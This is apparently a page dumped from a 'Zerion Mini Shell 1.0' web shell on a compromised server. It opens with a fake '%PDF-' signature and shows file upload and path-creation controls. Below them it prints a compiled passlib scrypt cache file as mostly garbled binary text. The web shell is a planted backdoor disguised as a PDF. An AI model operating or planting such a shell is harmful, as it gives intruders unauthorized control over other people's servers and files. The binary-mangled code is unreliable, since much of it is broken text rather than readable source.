%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/crypto/scrypt/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/crypto/scrypt/__pycache__/_gen_files.cpython-39.pyc

a

f�WcK�@s.dZddlZgd�Zdd�Zedkr*e�dS)zFpasslib.utils.scrypt._gen_files - meta script that generates _salsa.py�N) )�r��)�rr�	)rrr�
)rrr�)r��r)rrr	r)r
rrr)r	r
rr)��
�r)�rrr)r
rrr)rr
rr)���r)rrrr)rrrr)rrrr)r
rrr)rr
rr)rrr
r)rrrr)r
r	rr)rr
r	r)rrr
r)r	rrr)rrrr)rrrr)rrrr)rrrr)rrrr)rrrr)rrrr)rrrrcCstj�tj�t�d�}t|d�}|j}dd�td�D�}d}d}d}d	�d
d�td�D��}d	�|�}t||d�}	|d
|	�t	t
�D]P\}
\}}}}
|dt|
|||||||||dd|
>d|
d|
d�
�q�|d�td�D]}
||d|
|
|
f�q�|d|	�dS)Nz	_salsa.py�wcSsg|]}d|�qS)zv%d���.0�irr�D/usr/lib/python3.9/site-packages/passlib/crypto/scrypt/_gen_files.py�
<listcomp>S�zmain.<locals>.<listcomp>�z    z        z            z, css|]}d|VqdS)zb%dNrrrrr�	<genexpr>Xrzmain.<locals>.<genexpr>)�VLIST�TLISTa"""passlib.utils.scrypt._salsa - salsa 20/8 core, autogenerated by _gen_salsa.py"""
#=================================================================
# salsa function
#=================================================================

def salsa20(input):
    """apply the salsa20/8 core to the provided input

    :args input: input list containing 16 32-bit integers
    :returns: result list containing 16 32-bit integers
    """

    %(TLIST)s = input
    %(VLIST)s = \
        %(TLIST)s

    i = 0
    while i < 4:
z�        # salsa op %(idx)d: [%(it)d] ^= ([%(is1)d]+[%(is2)d])<<<%(rot1)d
        t = (%(src1)s + %(src2)s) & 0xffffffff
        %(dst)s ^= ((t & 0x%(rmask)08x) << %(rot1)d) | (t >> %(rot2)d)

r
� )
�idxZis1Zis2�itZsrc1Zsrc2�dstZrmaskZrot1Zrot2z        i += 1

zb%d = (b%d + v%d) & 0xffffffff
z�
    return %(TLIST)s

#=================================================================
# eof
#=================================================================
)�os�path�join�dirname�__file__�file�write�range�dict�	enumerate�
_SALSA_OPS)�targetZfhr(ZVNAMESZPADZPAD2ZPAD3rr�kwdsrZsource1Zsource2�rotaterrr�mainNsD

�����r0�__main__)�__doc__r"r,r0�__name__rrrr�<module>s
AG

Zerion Mini Shell 1.0